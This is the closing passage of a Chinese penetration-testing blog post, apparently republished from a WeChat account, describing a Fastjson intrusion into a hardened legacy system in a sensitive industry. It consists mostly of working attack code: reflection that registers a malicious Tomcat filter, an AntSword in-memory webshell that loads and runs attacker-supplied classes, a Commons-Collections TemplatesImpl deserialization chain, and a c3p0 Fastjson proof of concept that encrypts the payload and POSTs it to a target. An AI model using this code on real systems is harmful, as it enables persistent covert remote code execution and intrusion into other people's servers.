applicationFilterConfigConstructor.setAccessible(true);            Properties properties=new Properties();            properties.put("org.apache.catalina.ssi.SSIFilter","123");            Field restrictedFiltersField= ApplicationFilterConfig.class.getDeclaredField("restrictedFilters");            restrictedFiltersField.setAccessible(true);            restrictedFiltersField.set(null,properties);            ApplicationFilterConfig filterConfig=(ApplicationFilterConfig)applicationFilterConfigConstructor.newInstance(standardContext,tmpFilterDef);            Field filterField=filterConfig.getClass().getDeclaredField("filter");            filterField.setAccessible(true);            filterField.set(filterConfig,evilFilter);            Field filterDefField=filterConfig.getClass().getDeclaredField("filterDef");            filterDefField.setAccessible(true);            filterDefField.set(filterConfig,filterDef);            Field filterConfigsField=org.apache.catalina.core.StandardContext.class.getDeclaredField("filterConfigs");            filterConfigsField.setAccessible(true);            HashMap filterConfigs=(HashMap)filterConfigsField.get(standardContext);            filterConfigs.put(filterName,filterConfig);            filterConfigsField.set(standardContext,filterConfigs);        } catch (NoSuchMethodException ex) {            ex.printStackTrace();        } catch (IllegalAccessException ex) {            ex.printStackTrace();        } catch (InvocationTargetException ex) {            ex.printStackTrace();        } catch (InstantiationException ex) {            ex.printStackTrace();        } catch (NoSuchFieldException ex) {            ex.printStackTrace();        } catch (Exception e) {            thrownew RuntimeException(e);        }    }    @Override    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {    }    @Override    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {    }}注入的是蚁剑filter内存马,其代码逻辑:import javax.servlet.*;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.IOException;import java.lang.reflect.Method;import java.net.URL;import java.net.URLClassLoader;public class antshell implements Filter {    public String pass = "wa1ki0g";    @Override    public void init(FilterConfig filterConfig) throws ServletException {    }    @Override    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain)            throws IOException, ServletException {        HttpServletRequest request = (HttpServletRequest) servletRequest;        HttpServletResponse response = (HttpServletResponse) servletResponse;        try {            String cls = request.getParameter(this.pass);            if (cls != null) {                try {                    byte[] data = this.doBase64Decode(cls);                    URLClassLoader classLoader = new URLClassLoader(new URL[0],                            Thread.currentThread().getContextClassLoader());                    Method method = ClassLoader.class.getDeclaredMethod("defineClass"byte[].class, int.class, int.class);                    method.setAccessible(true);                    Class<?> clazz = (Class<?>) method.invoke(classLoader, data, 0, data.length);                    clazz.newInstance().equals(new Object[]{request, response});                } catch (Exception ignored) {                }            } else {                filterChain.doFilter(servletRequest, servletResponse);            }        } catch (Exception e) {            filterChain.doFilter(servletRequest, servletResponse);        }    }    public byte[] doBase64Decode(String str) throws Exception {        try {            Class<?> clazz = Class.forName("sun.misc.BASE64Decoder");            Object decoder = clazz.newInstance();            return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(decoder, str);        } catch (Exception e) {            Class<?> clazz = Class.forName("java.util.Base64");            Object decoder = clazz.getMethod("getDecoder").invoke(null);            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);        }    }    @Override    public void destroy(){    }}

Ok,我们最终利用c3p0+cc1+TemplatesImpl去注入内存马:

package fast.web.src;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap;import java.io.*;import java.lang.annotation.Target;import java.lang.reflect.Constructor;import java.util.HashMap;import java.util.Map;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import java.lang.reflect.Field;public class CC1 {    public static void main(String[] args) throws Exception {        byte[] evilBytes = getBytes("/tmp/newINject.class");         TemplatesImpl templates = new TemplatesImpl();        setField(templates, "_bytecodes"new byte[][]{evilBytes});        setField(templates, "_name""Evil");        setField(templates, "_tfactory"null);        Transformer[] transformers = new Transformer[]{                new ConstantTransformer(templates),                new InvokerTransformer("newTransformer"nullnull)        };        Transformer transformerChain = new ChainedTransformer(transformers);        Map innermap = new HashMap();        innermap.put("value""123");        Map outmap = TransformedMap.decorate(innermap, null, transformerChain);        Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");        Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);        ctor.setAccessible(true);        Object payloadObject = ctor.newInstance(Target.class, outmap);        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("/tmp/ncm.ser"));        oos.writeObject(payloadObject);        oos.close();    }    public static byte[] getBytes(String path) throws Exception {        File file = new File(path);        FileInputStream fis = new FileInputStream(file);        byte[] bytes = new byte[(int) file.length()];        fis.read(bytes);        fis.close();        return bytes;    }    public static void setField(Object obj, String fieldName, Object value) throws Exception {        Field field = obj.getClass().getDeclaredField(fieldName);        field.setAccessible(true);        field.set(obj, value);    }}

最终poc:

import com.alibaba.fastjson.JSON;import com.mchange.lang.ByteUtils;import com.mchange.v2.c3p0.WrapperConnectionPoolDataSource;import java.io.*;import java.util.Arrays;importstatic org.example.AESUtil.encryptByNoPadding2;public class POC {    public static void main(String[] args) throws IOExceptionClassNotFoundException {        InputStream in = new FileInputStream("/tmp/ncm.ser");        byte[] data = toByteArray(in);        in.close();        String HexString = bytesToHexString(data, data.length);        System.out.println(HexString);        String poc1 ="{"flag":{"@type":"java.lang.Class","val":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource"},"f":{"@type":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource","userOverridesAsString":"HexAsciiSerializedMap:"+HexString+";"}}";        System.out.println("poc1:");        System.out.println(poc1);        String poc2 = "{"@type":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource","userOverridesAsString":"HexAsciiSerializedMap:" + HexString + ";"}";        System.out.println("poc2:");        System.out.println(poc2);        System.out.println("flag="+encryptByNoPadding2(poc2));        System.out.println(HPOST.sendPostRequest("http://x/","flag="+encryptByNoPadding2(poc2)));    }    public static byte[] toByteArray(InputStream inthrows IOException {        byte[] classBytes;        classBytes = new byte[in.available()];        in.read(classBytes);        in.close();        return classBytes;    }    public static String bytesToHexString(byte[] bArray, int length){        StringBuffer sb = new StringBuffer(length);        for(int i = 0; i < length; ++i) {            String sTemp = Integer.toHexString(255 & bArray[i]);            if (sTemp.length() < 2) {                sb.append(0);            }            sb.append(sTemp.toUpperCase());        }        return sb.toString();    }}

最终一发入魂:

敏感行业下的Fastjson打点实战:攻破加固N次的古董级系统
声明

本文作者:wa1ki0g

本文审核:golden dragon

感谢 wa1ki0g  师傅 (๑•̀ㅂ•́)و✧

 

原文始发于微信公众号(天虞实验室):敏感行业下的Fastjson打点实战:攻破加固N次的“古董级”系统

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年7月3日15:37:17
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   敏感行业下的Fastjson打点实战:攻破加固N次的古董级系统http://cn-sec.com/archives/4219514.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息